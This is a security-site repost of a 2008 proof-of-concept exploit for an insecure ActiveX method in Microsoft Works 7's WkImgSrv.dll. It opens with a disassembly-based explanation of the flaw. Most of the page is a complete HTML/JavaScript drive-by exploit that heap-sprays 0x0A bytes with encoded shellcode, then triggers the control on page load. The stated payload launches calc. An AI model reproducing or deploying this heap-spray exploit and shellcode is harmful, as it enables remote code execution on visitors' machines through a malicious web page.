首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Works 7 WkImgSrv.dll ActiveX Remote BOF Exploit
来源:lhoang8500[at]gmail[dot]com 作者:lhoang8500 发布时间:2008-05-04  
<!--
The problem is in wkimgsrv.dll module shipped with many MS Offiice
Suite (tested on MS OF 2003,MS OF 2007)
Actually,this is not the case of buffer overflow attack,just a exploit
of insecure method WKsPictureInterface.
Setting this point to any where in memory and IE will crash when
wkiimgsrv's trying to access an invalid memory location.

Let's get into detail :

00D473BD              PUSH EBP                                 ;
Begin of Set WksPictureInterface method
00D473BE   MOV EBP,ESP
00D473C0              SUB ESP,1C
00D473C3  MOV EAX,DWORD PTR SS:[EBP+C]   ;  Move paramater to EAX
00D473C6  PUSH ESI
00D473C7 TEST EAX,EAX                             ;  Checking whether
EAX is NULL
00D473C9 JNZ SHORT wkimgsrv.00D473D5    ;  OK,if it is not null continue
00D473CB  MOV EAX,80004005         ;
00D473D0  JMP wkimgsrv.00D47456               ;No,it's is NULL,exit method
00D473D5  ==> MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care
00D473D8  LEA EDX,DWORD PTR SS:[EBP-1C] ;
00D473DB  PUSH EDX
00D473DC PUSH EAX
00D473DD MOV DWORD PTR DS:[ESI+2A0],EAX        ; =============
00D473E3   ==> MOV ECX,DWORD PTR DS:[EAX]              ; Here is the
problem,the data stored by EAX is referenced and moved into ECX
00D473E5 CALL DWORD PTR DS:[ECX+30]               ;Next the address
in some struct pointed by ECX is called

Now if we're able to setup memory satisfied :
Create a struct in memory where the first DWORD in the struct point to
itself and the DWORD at offset 0x30 from struct address is point to
our shellcode.
We should be able to exploit this vulnerability.
This seem to be nightmare because there is nothing to inject except an
integer as paramater for the method.
Fortunately we have prefered heapspray method
Howerver we can't spray with nop (0x90 ) anymore(if this happens, all
address will be 90909090 which is invalid address) ,
The addresses and byte to spray must comply some restrictions
- Byte to spray must be single byte length instruction (or somewhat
that not change execution of the program or causing exception)
- Combination of 4 byte must refer to valid memory address which will
point to it self.

I have chosen 0x0A to spay on IE 7, and 0x05 to spay on IE 6. In
Internet Explorer 7 the number passes to method is 168430090 which is
0x0A0A0A0A in
hexa mode.Let's assume that we has fill 0x0A into memory at
0x0A0A0A0A. EAX will hold value of 0x0A0A0A0A.
Mov ECX,DWORD PTR DS:[EAX]  ;=> ECX= 0x0A0A0A0A
CALL DWORD DTR DS:[ECX+30] ;=> CALL DWORD DTR:[0x0A0A0A3A] => CALL 0x0A0A0A0A
Memory at 0x0A0A0A0A is filled with 0x0A ~ instruction is OR CL,BYTE
PTR DS:[EDX]
Fortunately this hadn't caused exception and not changed execution
path of our shellcode

Shellcode should be executed as expected(calc will be opened).
-->

<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll Exploit</title>

Coded by lhoang8500
lhoang8500[at]gmail[dot]com
BKIS Center - Vietnam

<SCRIPT language="javascript">

var heapSprayToAddress = 0x0A0A0A0A;

var payLoadCode =
unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%u0A0A%u0A0A");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}



function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

</script>
  <script language="JavaScript">
    function payload() {
var num = 168430090;
obj.WksPictureInterface = num;
  }
   </script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Joomla Component Webhosting (c
·HLDS WebMod 0.48 (rconpass) R
·GroupWise 7.0 (mailto: scheme)
·联众世界的游戏大厅主程序GLWorl
·MS Windows XP SP2 (win32k.sys)
·Scout Portal Toolkit <= 1.4.0
·VLC 0.8.6d httpd_FileCallBack
·DeluxeBB <= 1.2 Multiple Remot
·HP Software Update (Hpufunctio
·DivX Player 6.7 SRT File Subti
·迅雷本地溢出POC
·又见0day! [FlashGet]-FG2CatchU
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved